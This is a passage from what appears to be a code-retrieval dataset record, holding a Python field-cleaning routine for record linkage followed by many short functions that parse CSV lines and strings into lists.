SQL database access\n ################################\n\n msg = [' Component basic field lists:', \\\n ' Name: '+str(name_comp_list), \\\n ' Given name: '+str(givenname_comp_list), \\\n ' Surname: '+str(surname_comp_list), \\\n ' Geocode: '+str(geocode_comp_list), \\\n ' Locality: '+str(locality_comp_list), \\\n ' Date1: '+str(date1_comp_list), \\\n ' Date2: '+str(date2_comp_list)]\n log_message(msg,'v2')\n\n name_comp = ''\n givenname_comp = ''\n surname_comp = ''\n geocode_comp = ''\n locality_comp = ''\n date1_comp = ''\n date2_comp = ''\n\n # Now clean and then concatenate component lists into strings - - - - - - - -\n #\n if (name_comp_list != []): # Name component\n name_comp = name_comp_list[0] # Start with first field in list\n\n for f in name_comp_list[1:]: # Loop over following fields (if any)\n if (f != ''):\n if (config.input_space_sep['name'] == 1):\n sep = ' ' # Set separator to space between fields\n else:\n sep = '' # No space between fields\n\n # Check field spilling only if space separator is set to ' ' \n #\n if (sep == ' ') and (config.input_check_spilling['name'] == 1):\n sep = check_field_spill(name_comp, f)\n\n name_comp = name_comp+sep+f # Append separator and field\n\n if (givenname_comp_list != []): # Givenname component - - - - - - - - - - -\n givenname_comp = givenname_comp_list[0] # Start with first field in list\n\n for f in givenname_comp_list[1:]: # Loop over following fields (if any)\n if (f != ''):\n if (config.input_space_sep['givenname'] == 1):\n sep = ' ' # Set separator to space between fields\n else:\n sep = '' # No space between fields\n\n # Check field spilling only if space separator is set to ' ' \n #\n if (sep == ' ') and (config.input_check_spilling['givenname'] == 1):\n sep = check_field_spill(givenname_comp, f)\n\n givenname_comp = givenname_comp+sep+f # Append separator and field\n\n if (surname_comp_list != []): # Surname component - - - - - - - - - - - - -\n surname_comp = surname_comp_list[0] # Start with first field in list\n\n for f in surname_comp_list[1:]: # Loop over following fields (if any)\n if (f != ''):\n if (config.input_space_sep['surname'] == 1):\n sep = ' ' # Set separator to space between fields\n else:\n sep = '' # No space between fields\n\n # Check field spilling only if space separator is set to ' ' \n #\n if (sep == ' ') and (config.input_check_spilling['surname'] == 1):\n sep = check_field_spill(surname_comp, f)\n\n surname_comp = surname_comp+sep+f # Append separator and field\n\n if (geocode_comp_list != []): # Geocode component - - - - - - - - - - - - -\n geocode_comp = geocode_comp_list[0] # Start with first field in list\n\n for f in geocode_comp_list[1:]: # Loop over following fields (if any)\n if (f != ''):\n if (config.input_space_sep['geocode'] == 1):\n sep = ' ' # Set separator to space between fields\n else:\n sep = '' # No space between fields\n\n # Check field spilling only if space separator is set to ' ' \n #\n if (sep == ' ') and (config.input_check_spilling['geocode'] == 1):\n sep = check_field_spill(geocode_comp, f)\n\n geocode_comp = geocode_comp+sep+f # Append separator and field\n\n if (locality_comp_list != []): # Locality component - - - - - - - - - - - -\n locality_comp = locality_comp_list[0] # Start with first field in list\n\n for f in locality_comp_list[1:]: # Loop over following fields (if any)\n if (f != ''):\n if (config.input_space_sep['locality'] == 1):\n sep = ' ' # Set separator to space between fields\n else:\n sep = '' # No space between fields\n\n # Check field spilling only if space separator is set to ' ' \n #\n if (sep == ' ') and (config.input_check_spilling['locality'] == 1):\n sep = check_field_spill(locality_comp, f)\n\n locality_comp = locality_comp+sep+f # Append separator and field\n\n if (date1_comp_list != []): # Date1 component - - - - - - - - - - - - - - -\n date1_comp = date1_comp_list[0] # Start with first field in list\n\n for f in date1_comp_list[1:]: # Loop over following fields (if any)\n if (f != ''):\n if (config.input_space_sep['date1'] == 1):\n sep = ' ' # Set separator to space between fields\n else:\n sep = '' # No space between fields\n\n # Check field spilling only if space separator is set to ' ' \n #\n if (sep == ' ') and (config.input_check_spilling['date1'] == 1):\n if (date1_comp[-1] != ' ') and (f[0] != ' '):\n tmp_list0 = date1_comp.split()\n tmp_list1 = f.split()\n check_word = tmp_list0[-1]+tmp_list1[0]\n\n if (check_word in ['jan','feb','mar','apr','may','jun','jul','aug', \\\n 'sep','oct','nov','dec','january','february','march','april', \\\n 'may','june','july','august','september','october','november', \\\n 'december']):\n\n sep = '' # Set separator to no space\n msg = ' Correct date1 word spilling: \"'+date1_comp+'\",\"'+f+'\"'\n log_message(msg,'v1')\n\n date1_comp = date1_comp+sep+f # Append separator and field\n\n if (date2_comp_list != []): # Date2 component - - - - - - - - - - - - - - -\n date2_comp = date2_comp_list[0] # Start with first field in list\n\n for f in date2_comp_list[1:]: # Loop over following fields (if any)\n if (f != ''):\n if (config.input_space_sep['date2'] == 1):\n sep = ' ' # Set separator to space between fields\n else:\n sep = '' # No space between fields\n\n # Check field spilling only if space separator is set to ' ' \n #\n if (sep == ' ') and (config.input_check_spilling['date2'] == 1):\n if (date2_comp[-1] != ' ') and (f[0] != ' '):\n tmp_list0 = date1_comp.split()\n tmp_list1 = f.split()\n check_word = tmp_list0[-1]+tmp_list1[0]\n\n if (check_word in ['jan','feb','mar','apr','may','jun','jul','aug', \\\n 'sep','oct','nov','dec','january','february','march','april', \\\n 'may','june','july','august','september','october','november', \\\n 'december']):\n\n sep = '' # Set separator to no space\n msg = ' Correct date1 word spilling: \"'+date1_comp+'\",\"'+f+'\"'\n log_message(msg,'v1')\n\n date2_comp = date2_comp+sep+f # Append separator and field\n\n # Check if name component is given or givenname and surname separately - - -\n #\n if (config.input_component['givenname'] != []) or \\\n (config.input_component['surname'] != []):\n name_comp = [givenname_comp, surname_comp]\n\n msg = [' Components:', \\\n ' Name: \"'+str(name_comp)+'\"', \\\n ' Geocode: \"'+geocode_comp+'\"', \\\n ' Locality: \"'+locality_comp+'\"', \\\n ' Date1: \"'+date1_comp+'\"', \\\n ' Date2: \"'+date2_comp+'\"']\n log_message(msg,'v1')\n\n return [name_comp, geocode_comp, locality_comp, date1_comp, date2_comp]","def parse_normalized(line):\n return line.strip().split(',')","def csv_file_to_list(filename, config=None):\n output_list = []\n with open(filename) as f:\n reader= csv.DictReader(f)\n for line in reader:\n output_list.append(line)\n return output_list","def csvwrite(inlist, stringify=False):\n out_list = []\n for entry in inlist:\n if stringify:\n new_entry = []\n for val in entry:\n if not isinstance(val, basestring):\n val = str(val)\n new_entry.append(val)\n entry = new_entry\n this_line = ', '.join([elem_quote(val) for val in entry])\n out_list.append(this_line)\n return out_list","def _read_csv(cls, input_file, quotechar=None):\n with open(input_file, \"r\", encoding=\"utf-8-sig\") as f:\n return list(csv.reader(f, delimiter=\",\", quotechar=quotechar))","def _read_csv(cls, input_file, quotechar=None):\n with open(input_file, \"r\", encoding=\"utf-8-sig\") as f:\n return list(csv.reader(f, delimiter=\",\", quotechar=quotechar))","def parse_line(line):\n tok = line.replace('[', '').replace(']', '').split(', ')\n list = [tok[0]]\n tok = tok[1:]\n temp = list\n parse_line_helper(temp, tok)\n return list","def csv_reader(file_obj):\n\tdata = []\n\treader = csv.reader(file_obj)\n\tfor x in reader:\n\t\tdata.append(float(\" \".join(x)))\t\n\t\n\treturn data","def line2Token(linein):\n#\t\"\"\" input=readlines() output=token\"\"\n\tlistout = []\n\tfor s in linein:\n\t\tif s==\"\":\n\t\t\tcontinue\n\t\ts = string.replace(s,'\\n','')\n\t\ts = string.replace(s,',',' ')\n s = string.replace(s,'=',\"= \")\n\t\ts = string.replace(s,':',\": \")\n\n\t\tlista=string.split(s)\n\t\tfor x in lista:\n\t\t\tif x<>\"\":\n\t\t\t\tlistout.append(x)\n\n\treturn listout","def create_list(input_str):\n input_str = input_str.replace(\"[\", \"\")\n input_str = input_str.replace(\"]\", \"\")\n new_list = input_str.split(\",\")\n\n if \"\" in new_list:\n return []\n\n for pos in range(0, len(new_list)):\n new_list[pos] = str(new_list[pos]).strip()\n\n return new_list","def csvtolist(csvfile, column_header='Organism'):\n\n file = pd.read_csv(csvfile)\n # Create a list name/variable and use list()\n listfromcolumn = list(file[column_header])\n\n return listfromcolumn","def read_csv_to_list(in_file, headless=True, delim='\\t'):\n ret_list=list()\n with open(in_file,'r') as csv_file:\n my_reader = csv.reader(csv_file, delimiter=delim) \n if headless:\n next(my_reader)\n for row in my_reader:\n ret_list.append(list(row))\n return(ret_list)","def lines_into_list(line):\n\n words = line.rstrip().split('|')\n return words","def _listify_input(self, input_string):\n stripped_string = re.sub(r'\\s+', '', input_string.strip())\n split_list = stripped_string.split(\",\")\n return [(x[0], int(x[1::])) for x in split_list]","def getcsv(self, section, option):\n elements = self.get(section, option)\n splitter = ',' if ',' in elements else None\n return [element.strip() for element in elements.split(splitter)]","def line_split(self, line):\n\t\tline = re.sub(r\"`(.*?)'\", quote_replace, line)\n\t\tline = line.translate(None, '.:,()+*')\n\t\treturn line.split()","def _to_list( self, input ):\n import numpy\n listtypes = (list, tuple, numpy.ndarray)\n if input == None:\n return None\n elif type(input) in listtypes:\n return list(input)\n else:\n return [input]","def __obtain_data_from_csv__(self, csvfile):\n data = csvfile.readlines()\n data = self.__parse_string_for_delimiter__(data)\n return data","def read_csv():","def _read_csv(cls, input_file, quotechar=None):\n with open(input_file, \"r\", encoding=\"utf-8-sig\") as f:\n return list(csv.reader(f, delimiter=\"\\n\", quotechar=quotechar))","def csv_to_list(path):\n features = {}\n with open(path, newline='', encoding='utf-8-sig', errors=\"ignore\") as csvfile:\n for row in csv.reader(csvfile, delimiter=',', quotechar='|'):\n features[row[0]] = list(map(float, row[1:]))\n csvfile.close()\n\n results = []\n # for i in range(len(listFeatures)):\n # # results.append(listFeatures[i][-1])\n # listFeatures[i]=listFeatures[i][:len(listFeatures[i])-1]\n\n return results, features","def to_list(value):\n if hasattr(value, '__iter__') and not isinstance(value, str):\n return list(value)\n return [value]","def _convert_to_list(self, input_argument):\n if type(input_argument) is not list:\n input_argument = [input_argument]\n return input_argument","def _coerce_list(self, thing):\n\t\tif isinstance(thing, basestring):\n\t\t\treturn list((thing,))\n\n\t\treturn list(thing)","def _to_list(obj):\n if not isinstance(obj, list):\n return [obj]\n else:\n return obj","def stringToList(txt):\r\n txt1 = toTypeOrNone(txt)\r\n if txt1 is None:\r\n return []\r\n list_ = [item.strip() for item in txt.split(\",\")]\r\n listWithNones = map(toTypeOrNone, list_)\r\n if any(True for x in listWithNones if x is not None):\r\n return list_\r\n return []","def values(line):\n return [v.strip() or None for v in text(line).split(',')]","def CSV(id_poke):\r\n poke = [] #creer une liste vide\r\n with open('BDD/pokemon.csv') as csv_file: #ouvre le fichier pokemon.csv\r\n csv_reader = csv.reader(csv_file, delimiter=',') #place les lignes du csv dans une variable\r\n for row in csv_reader: #parcours des lignes du csv\r\n if row[0] == str(id_poke): #si l'id de la ligne = id du pokemon\r\n poke = list(row) #variable = ligne correspondante dans le csv\r\n return(poke) #retourne une liste avec les caracteristiques du poke\r","def aslist(value, flatten=True):\n values = aslist_cronly(value)\n if not flatten:\n return values\n result = []\n for value in values:\n subvalues = value.split()\n result.extend(subvalues)\n return result","def str_list(x):\n #import ast\n #x = ast.literal_eval(x)\n x = x.strip('][').split(', ')\n x1 = [n.strip('\\'') for n in x]\n return (x1)","def csv_parser(s):\n\n # Data is our output. It will be a list of lists.\n\n # Split csv into lines and store them in a list called 'lines'.\n \n # Remove the first element from lines, so that you have only the data lines left.\n \n # At this stage, we loop through the list called lines.\n # As you loop\n # i. split each line on the commas;\n # ii. convert the Subject variable to int.\n # iii. convert the Height variable to float.\n # iv. add to data a list consisting of this line's Subject, Height, and Occupation values ","def convert_string_to_list(key, data, errors, context): # noqa\n value = data.get(key, None)\n\n if not value:\n return\n\n if not isinstance(value, basestring):\n return\n\n if not value.startswith('{') or not value.endswith('}'):\n return\n\n value = value.replace('\"', '')\n data[key] = value[1:len(value)-1].split(',')","def __parse_line(self, line: str) -> list:\n row = line.split(' ')\n for i in range(len(row)-1):\n row[i] = int(row[i])\n row = row[0:-1]\n return row","def tolist(self, flat=0):\n pass","def safelist(listable):\n if type(listable) == str:\n return [listable]\n else:\n return listable.tolist()","def splitlines(self) -> List[String]:\n pass","def parse_csv_input(input_file): # {{{\n parsed_infile = []\n try:\n with open(input_file) as infile:\n for line in csv.reader(infile):\n parsed_infile.append(line)\n\n temp_object_storage = []\n\n for line_index, line in enumerate(parsed_infile[1:]):\n temp_object_storage.append({})\n for category_index, category in enumerate(parsed_infile[0]):\n if category_index == 0:\n category = category[3:]\n temp_object_storage[line_index][category] = line[category_index]\n\n return temp_object_storage\n except FileNotFoundError as excep:\n LOGGER.info(\"error parsing csv file: %s\", excep) # }}}","def leer_linea(archivo):\n linea = archivo.readline()\n lista_linea = linea.rstrip('\\n').split(',')\n \n return lista_linea","def _read_csv(input_file):\n with tf.gfile.Open(input_file, \"r\") as f:\n reader = csv.reader(f)\n lines = []\n for line in reader:\n lines.append(line)\n return lines[1:] # remove header","def prepare_data(self, lines: List[str]) -> List[str]:\n if self.is_tokenized:\n if self.parser == \"spacy\":\n lines = [l.split() for l in lines]\n elif self.parser == \"udpipe\":\n lines = [[l.split()] for l in lines]\n\n return lines","def _to_list(self, file_str):\n data_list = file_str.split()\n return data_list","def to_csv_line(*args):\r\n return ','.join([str(value) for value in args]) + '\\n'","def parse_csv2list_hdfs(file_path):\n file_df = h2o.import_file(path=file_path, header=1, sep=',')\n file_df = file_df[:, :2].ascharacter()\n csv_list = h2o.as_list(file_df, use_pandas=False, header=True)\n csv_list = [[j.strip() for j in i] for i in csv_list]\n return csv_list","def list_process(field, item_list:List[str]):\n # if isinstance(item_list, list):\n if len(item_list) == 0:\n return {\n\n }\n saved_list = []\n\n for i in item_list:\n saved_list.append(f\"{i}\")\n return {\n field: \",\".join(saved_list)\n }","def tolist(x):\n return x if isinstance(x, list) else [x]","def comma_separated_list(model):\n return \", \".join(model)","def _providers_string_to_list(val):\n # Use a set to remove duplicates\n if type(val) == str:\n return list(set(val.replace(' ', '').split(',')))\n return list(set(val))","def to_list(x):\n import collections\n if not isinstance(x, collections.Iterable) or isinstance(x, str):\n x = [x]\n return x","def file_to_list(path: str):\n files = []\n with open(path, \"r\") as file_handler:\n for line in file_handler.readlines():\n split = line.split(\",\")\n files.append((split[1], split[2].replace(\"\\n\", \"\")))\n\n return files","def column_to_list(column):\n column = column.tolist()\n column_string = \"\"\n for i in range(len(column)):\n current_row = column[i]\n try:\n column_string = column_string + current_row + \" \"\n except:\n pass\n column_list = column_string.split()\n return column_list","def LoadList(strfile, separator=',', codec='utf-8'):\n\n def todecimal(value):\n try:\n return float(value)\n except:\n return value\n\n import csv\n import codecs\n # Read all CSV data:\n csvdata = []\n #with open(strfile) as csvfile:\n with codecs.open(strfile, \"r\", codec) as csvfile:\n csvread = csv.reader(csvfile, delimiter=separator, quotechar='|')\n for row in csvread:\n row_nums = [todecimal(i) for i in row]\n csvdata.append(row_nums)\n return csvdata","def csv(sFilename, fun):\n f = io.open(sFilename)\n while True:\n s = f.readline().rstrip()\n if s:\n t = []\n for s1 in re.findall(\"([^,]+)\", s):\n t.append(coerce(s1))\n fun(t)\n else:\n return f.close()","def csv(sFilename, fun):\n f = io.open(sFilename)\n while True:\n s = f.readline().rstrip()\n if s:\n t = []\n for s1 in re.findall(\"([^,]+)\", s):\n t.append(coerce(s1))\n fun(t)\n else:\n return f.close()","def as_list(obj):\n return obj if isinstance(obj, list) else [obj]","def aslist(something):\n return something if isinstance(something, list) else [something]","def format_string_to_list(self, avi_string):\n\n repls = ('[', ''), (']', ''), (\"'\", \"\")\n avi_string = reduce(lambda a, kv: a.replace(*kv), repls, avi_string)\n return avi_string.split(',')","def read_csv(filename):\n with open(filename) as csv:\n return [csv_line.strip().split(',') for csv_line in csv]"],"string":"[\n \"def from_csv_line(line):\\r\\n return line.strip().split(',')\",\n \"def csv_line(value_parser):\\n def convert(string):\\n return list(map(value_parser, string.split(',')))\\n return convert\",\n \"def lineToList(self, line):\\n l = [item for item in next(csv.reader(StringIO.StringIO(line), self.CSVDialect))]\\n if self.firstLine is None:\\n self.firstLine = l\\n return None\\n return l\",\n \"def convert_line(line):\\n line = line.strip().replace(\\\"]\\\", \\\"\\\").replace(\\\"[\\\", \\\"\\\")\\n return line.split(\\\",\\\")\",\n \"def lineToList(self, line):\\n raise NotImplementedError\",\n \"def make_list(line):\\n line = line.strip().split(\\\"=\\\")[1][1:-1].split(\\\",\\\")\\n if line == [\\\"\\\"]:\\n return []\\n new_list = []\\n for item in line:\\n if len(line) > 0 and \\\">\\\" in item:\\n obj = tuple(item.split(\\\">\\\"))\\n else:\\n obj = item\\n if obj not in new_list:\\n new_list.append(obj)\\n return new_list\",\n \"def stringInputToList(x):\\n return list(filter(None, [y.strip() for y in x.split(',')]))\",\n \"def csv_line(input_list):\\n good_strings = [csv_friendly_string(x) for x in input_list]\\n return string.join(good_strings, \\\",\\\") + \\\"\\\\n\\\"\",\n \"def _convert_str_to_list(cls, v: Union[List[str], str]) -> List[str]:\\n if isinstance(v, str):\\n return v.split(\\\",\\\")\\n return v # cov: ignore\",\n \"def parse_csv2list_upload(file_name):\\n with open(file_name) as f:\\n records = csv.reader(f)\\n csv_list = [[j.strip() for j in record] for record in records]\\n return csv_list\",\n \"def args_to_list(csv, allow_empty, arg_type=int, allow_negative=True):\\n arg_vals = [arg_type(d) for d in str(csv).split(',')]\\n if not allow_negative:\\n arg_vals = [v for v in arg_vals if v >= 0]\\n if not allow_empty and len(arg_vals) == 0:\\n return None\\n return arg_vals\",\n \"def split_line(line: str) -> [str]:\\n return line.strip().split(',')\",\n \"def ar_extractLineEditList(lineEdit):\\n strObj = lineEdit.text()\\n objList = strObj.split(',')\\n return objList\",\n \"def csv_reader(self, file_obj):\\n reader = csv.reader(file_obj)\\n for row in reader:\\n row_1 = (' '.join(row))\\n self.data.append(row_1.split(';'))\\n return self.data\",\n \"def process_data(line):\\n wire_path_data = []\\n for i in line:\\n wire_path_data.append(i.strip('\\\\n').split(','))\\n return wire_path_data\",\n \"def to_python(self, value):\\n # Return an empty list if no input was given.\\n if not value:\\n return []\\n return value.split(',')\",\n \"def parse_csv_option(option):\\n if option:\\n return option.split(',')\\n else:\\n return []\",\n \"def parse_csv_option(option):\\n if option:\\n return option.split(',')\\n else:\\n return []\",\n \"def _parsecsv(x):\\n for line in x:\\n # decode as utf-8, whitespace-strip and split on delimiter\\n yield line.decode('utf-8').strip().split(config.DELIMITER)\",\n \"def read_file_to_list(input_file):\\n with open(input_file) as csvfile:\\n csv_rows = csv.reader(csvfile)\\n\\n data = []\\n for row in csv_rows:\\n data.append(row)\\n\\n return data\",\n \"def convert_comma_separated_str_to_list(input_str: str, trim: bool = True) -> List[str]:\\n comma_separated_str = input_str.strip() if trim else input_str\\n if not comma_separated_str:\\n return []\\n\\n result = []\\n for part_str in comma_separated_str.split(\\\",\\\"):\\n value = part_str\\n if trim:\\n value = value.strip()\\n if not value:\\n continue\\n result.append(value)\\n return result\",\n \"def lectcsv(NOM):\\n #NOM=input(\\\"nom du fichier:\\\")#interactif\\n #NOM=str(NOM +\\\".csv\\\")\\n c=[NOM]\\n #ouverture du fichier et recuperation du contenu\\n with open(NOM) as f:\\n contenu = csv.reader(f, delimiter=' ', quotechar='|')\\n for row in contenu:\\n c.append(row[0].split(';'))#separation du string \\n return c\",\n \"def split_line(line):\\n if ',' in line:\\n return [a.strip() for a in line.split(',')]\\n return line.split()\",\n \"def listify(item, do_strip=False):\\n if not item:\\n return []\\n elif isinstance(item, list):\\n return item\\n elif isinstance(item, string_types) and item.count(','):\\n if do_strip:\\n return [token.strip() for token in item.split(',')]\\n else:\\n return item.split(',')\\n else:\\n return [item]\",\n \"def strToList(x):\\n if type(x)==str:\\n return [int(i) for i in x[1:-1].split(\\\", \\\")]\",\n \"def str2list(input):\\n if isinstance(input, str):\\n return [input]\\n\\n else:\\n return input\",\n \"def __parseCsvRow(row):\\r\\n \\r\\n resultRow = []\\r\\n for item in row:\\r\\n if type(item) is str:\\r\\n if \\\".\\\" in item:\\r\\n try:\\r\\n f = float(item)\\r\\n resultRow.append(f)\\r\\n except ValueError:\\r\\n resultRow.append(item)\\r\\n else:\\r\\n try:\\r\\n i = int(item)\\r\\n resultRow.append(i)\\r\\n except ValueError:\\r\\n resultRow.append(item)\\r\\n else:\\r\\n resultRow.append(item)\\r\\n return resultRow\",\n \"def read_csv_to_list(csv_path):\\n\\n with open(csv_path, newline=\\\"\\\") as f:\\n reader = csv.reader(f)\\n data = list(reader)\\n\\n return data\",\n \"def _read_csv(cls, input_file, quotechar=None):\\r\\n with open(input_file, \\\"r\\\", encoding=\\\"utf-8\\\") as f:\\r\\n reader = csv.reader(f, delimiter=\\\",\\\", quotechar=quotechar)\\r\\n lines = []\\r\\n for line in reader:\\r\\n if sys.version_info[0] == 2:\\r\\n line = list(unicode(cell, 'utf-8') for cell in line)\\r\\n lines.append(line)\\r\\n return lines\",\n \"def csv_to_list(csv_file, delimiter=','):\\n with open(csv_file, 'r') as csv_con:\\n reader = csv.reader(csv_con, delimiter=delimiter)\\n return list(reader)\",\n \"def readCSVIntoList(link):\\r\\n \\r\\n tweets_file = csv.reader(open(link, \\\"rt\\\", encoding=\\\"cp1252\\\"))\\r\\n tweets_list = list(tweets_file) \\r\\n\\r\\n return tweets_list\",\n \"def listify(item, delimiter=\\\",\\\"):\\n if not item:\\n return []\\n if type(item) is str:\\n item = item.split(delimiter)\\n if type(item) is not list:\\n raise TypeError(\\\"'listify' must take None, str, or list!\\\")\\n return item\",\n \"def stmt2list(self, stmt):\\n temp = ['%s\\\\n' % line for line in stmt.split('\\\\n')]\\n return temp\",\n \"def strToList(x):\\n if type(x)==str:\\n return x[2:-2].split(\\\"', '\\\")\",\n \"def from_csv(value_string):\\n if not value_string:\\n return []\\n if value_string[0] == \\\"[\\\" and value_string[-1] == \\\"]\\\":\\n value_string = value_string[1:-1]\\n else:\\n # This is a single string entry, any comma contained\\n # is part of the value and must not be used to\\n # split up the string.\\n return [value_string]\\n\\n if not value_string:\\n return []\\n stream = StringIO(value_string)\\n stream.seek(0)\\n reader = csv.reader(stream, dialect=\\\"excel\\\")\\n return list(reader)[0]\",\n \"def mapper_data_cleaning(self, l, line):\\n lineitems = line.split(\\\",\\\")\\n yield (lineitems[0], lineitems[2])\",\n \"def listparse(csvfilename):\\r\\n output = []\\r\\n with open(csvfilename, 'r', newline = '') as csvfile:\\r\\n csvreader = csv.reader(csvfile, skipinitialspace = True)\\r\\n for row in csvreader:\\r\\n output.append(row)\\r\\n return output\",\n \"def process_list_arg(arg):\\n if isinstance(arg, list):\\n return arg\\n elif isinstance(arg, basestring):\\n args = []\\n for part in arg.split(\\\",\\\"):\\n args.append(part.strip())\\n return args\",\n \"def csvread(infile):\\n out_csv = []\\n errors = []\\n index = -1\\n p = LineParser(csv=True)\\n for line in infile:\\n index += 1\\n try:\\n values = p.feed(line)\\n except ListQuoteError as e:\\n values = []\\n e.line = line\\n e.index = index\\n errors.append(e)\\n #\\n out_csv.append(values)\\n #\\n if errors:\\n e = CSVError(\\\"Parsing CSV failed. See 'errors' attribute.\\\")\\n e.csv = out_csv\\n e.errors = errors\\n raise e\\n return out_csv\",\n \"def parse_csv(csv, as_ints=False):\\n items = []\\n for val in csv.split(\\\",\\\"):\\n val = val.strip()\\n if val:\\n items.append(int(val) if as_ints else val)\\n return items\",\n \"def strToStrList(x):\\n if type(x)==str:\\n return x[2:-2].split(\\\"', '\\\")\",\n \"def separate_list_input(input_: str) -> List[str]:\\n no_commas = input_.replace(\\\",\\\", \\\" \\\")\\n # Each string is naturally unicode, this causes problems with M2Crypto SANs\\n # TODO: check if above is still true when M2Crypto is gone ^\\n return [str(string) for string in no_commas.split()]\",\n \"def read(self, line):\\n data = []\\n if six.PY3 and type(line) == six.binary_type:\\n line = line.decode('utf-8')\\n\\n csv_reader = csv.reader(six.StringIO(line),\\n delimiter=self.delimiter,\\n quotechar=self.quotechar,\\n skipinitialspace=True)\\n for cr in csv_reader:\\n data = [decode_string(f).strip() for f in cr]\\n break\\n\\n return None, data\",\n \"def process_line(line):\\n\\n name_comp_list = []\\n givenname_comp_list = []\\n surname_comp_list = []\\n geocode_comp_list = []\\n locality_comp_list = []\\n date1_comp_list = []\\n date2_comp_list = []\\n\\n # Split the line into the basic fields - - - - - - - - - - - - - - - - - - -\\n #\\n if (config.in_file_type in ['CSV','CSVQ','TAB','TABQ']):\\n # Comma or tabulator separated\\n try:\\n line_list = config.line_parser.parse(line)\\n except:\\n log_message('CSV line parsing failed with inout: '+line,'err')\\n\\n if (len(line_list) < config.input_len):\\n log_message('Input line does not contain enough fields,' +\\\\\\n 'fill up with empty fields','warn')\\n while (len(line_list) < config.input_len):\\n line_list.append('')\\n\\n config.curr_line_list = line_list # Save current line list\\n\\n # Extract fields into different component lists - - - - - - - - - - - - - -\\n #\\n if (config.input_component['name'] != []): # Extract name fields\\n for i in config.input_component['name']:\\n name_comp_list.append(line_list[i])\\n\\n else: # Extract givenname and surname into separate components - - - - - -\\n if (config.input_component['givenname'] != []): # Extract g-name fields\\n for i in config.input_component['givenname']:\\n givenname_comp_list.append(line_list[i])\\n\\n if (config.input_component['surname'] != []): # Extract surname fields\\n for i in config.input_component['surname']:\\n surname_comp_list.append(line_list[i])\\n\\n if (config.input_component['geocode'] != []): # Extract geocode fields\\n for i in config.input_component['geocode']:\\n geocode_comp_list.append(line_list[i])\\n\\n if (config.input_component['locality'] != []): # Extract locality fields\\n for i in config.input_component['locality']:\\n locality_comp_list.append(line_list[i])\\n\\n if (config.input_component['date1'] != []): # Extract date1 fields\\n for i in config.input_component['date1']:\\n date1_comp_list.append(line_list[i])\\n\\n if (config.input_component['date2'] != []): # Extract date2 fields\\n for i in config.input_component['date2']:\\n date2_comp_list.append(line_list[i])\\n\\n elif (config.in_file_type == 'COL'): # Column based input file - - - - - - -\\n\\n if (len(line) < config.input_len):\\n log_message('Input line is not long enough, fill up with spaces','warn')\\n line += ' '*(config.input_len-len(line))\\n\\n if (config.input_component['name'] != []): # Extract name fields\\n for (col_start,length) in config.input_component['name']:\\n name_comp_list.append(line[col_start,col_start+length])\\n\\n else: # Extract givenname and surname into separate components - - - - - -\\n if (config.input_component['givenname'] != []): # Extract g-name fields\\n for (col_start,length) in config.input_component['givenname']:\\n givenname_comp_list.append(line[col_start,col_start+length])\\n\\n if (config.input_component['surname'] != []): # Extract surname fields\\n for (col_start,length) in config.input_component['surname']:\\n surname_comp_list.append(line[col_start,col_start+length])\\n\\n if (config.input_component['geocode'] != []): # Extract geocode fields\\n for (col_start,length) in config.input_component['geocode']:\\n geocode_comp_list.append(line[col_start,col_start+length])\\n\\n if (config.input_component['locality'] != []): # Extract locality fields\\n for (col_start,length) in config.input_component['locality']:\\n locality_comp_list.append(line[col_start,col_start+length])\\n\\n if (config.input_component['date1'] != []): # Extract date1 fields\\n for (col_start,length) in config.input_component['date1']:\\n date1_comp_list.append(line[col_start,col_start+length])\\n\\n if (config.input_component['date2'] != []): # Extract date2 fields\\n for (col_start,length) in config.input_component['date2']:\\n date2_comp_list.append(line[col_start,col_start+length])\\n\\n # elif (config.in_file_type == 'SQL'): # - - - - - - - - - - - - - - - - - -\\n\\n ################################\\n # Add later: SQL database access\\n ################################\\n\\n msg = [' Component basic field lists:', \\\\\\n ' Name: '+str(name_comp_list), \\\\\\n ' Given name: '+str(givenname_comp_list), \\\\\\n ' Surname: '+str(surname_comp_list), \\\\\\n ' Geocode: '+str(geocode_comp_list), \\\\\\n ' Locality: '+str(locality_comp_list), \\\\\\n ' Date1: '+str(date1_comp_list), \\\\\\n ' Date2: '+str(date2_comp_list)]\\n log_message(msg,'v2')\\n\\n name_comp = ''\\n givenname_comp = ''\\n surname_comp = ''\\n geocode_comp = ''\\n locality_comp = ''\\n date1_comp = ''\\n date2_comp = ''\\n\\n # Now clean and then concatenate component lists into strings - - - - - - - -\\n #\\n if (name_comp_list != []): # Name component\\n name_comp = name_comp_list[0] # Start with first field in list\\n\\n for f in name_comp_list[1:]: # Loop over following fields (if any)\\n if (f != ''):\\n if (config.input_space_sep['name'] == 1):\\n sep = ' ' # Set separator to space between fields\\n else:\\n sep = '' # No space between fields\\n\\n # Check field spilling only if space separator is set to ' ' \\n #\\n if (sep == ' ') and (config.input_check_spilling['name'] == 1):\\n sep = check_field_spill(name_comp, f)\\n\\n name_comp = name_comp+sep+f # Append separator and field\\n\\n if (givenname_comp_list != []): # Givenname component - - - - - - - - - - -\\n givenname_comp = givenname_comp_list[0] # Start with first field in list\\n\\n for f in givenname_comp_list[1:]: # Loop over following fields (if any)\\n if (f != ''):\\n if (config.input_space_sep['givenname'] == 1):\\n sep = ' ' # Set separator to space between fields\\n else:\\n sep = '' # No space between fields\\n\\n # Check field spilling only if space separator is set to ' ' \\n #\\n if (sep == ' ') and (config.input_check_spilling['givenname'] == 1):\\n sep = check_field_spill(givenname_comp, f)\\n\\n givenname_comp = givenname_comp+sep+f # Append separator and field\\n\\n if (surname_comp_list != []): # Surname component - - - - - - - - - - - - -\\n surname_comp = surname_comp_list[0] # Start with first field in list\\n\\n for f in surname_comp_list[1:]: # Loop over following fields (if any)\\n if (f != ''):\\n if (config.input_space_sep['surname'] == 1):\\n sep = ' ' # Set separator to space between fields\\n else:\\n sep = '' # No space between fields\\n\\n # Check field spilling only if space separator is set to ' ' \\n #\\n if (sep == ' ') and (config.input_check_spilling['surname'] == 1):\\n sep = check_field_spill(surname_comp, f)\\n\\n surname_comp = surname_comp+sep+f # Append separator and field\\n\\n if (geocode_comp_list != []): # Geocode component - - - - - - - - - - - - -\\n geocode_comp = geocode_comp_list[0] # Start with first field in list\\n\\n for f in geocode_comp_list[1:]: # Loop over following fields (if any)\\n if (f != ''):\\n if (config.input_space_sep['geocode'] == 1):\\n sep = ' ' # Set separator to space between fields\\n else:\\n sep = '' # No space between fields\\n\\n # Check field spilling only if space separator is set to ' ' \\n #\\n if (sep == ' ') and (config.input_check_spilling['geocode'] == 1):\\n sep = check_field_spill(geocode_comp, f)\\n\\n geocode_comp = geocode_comp+sep+f # Append 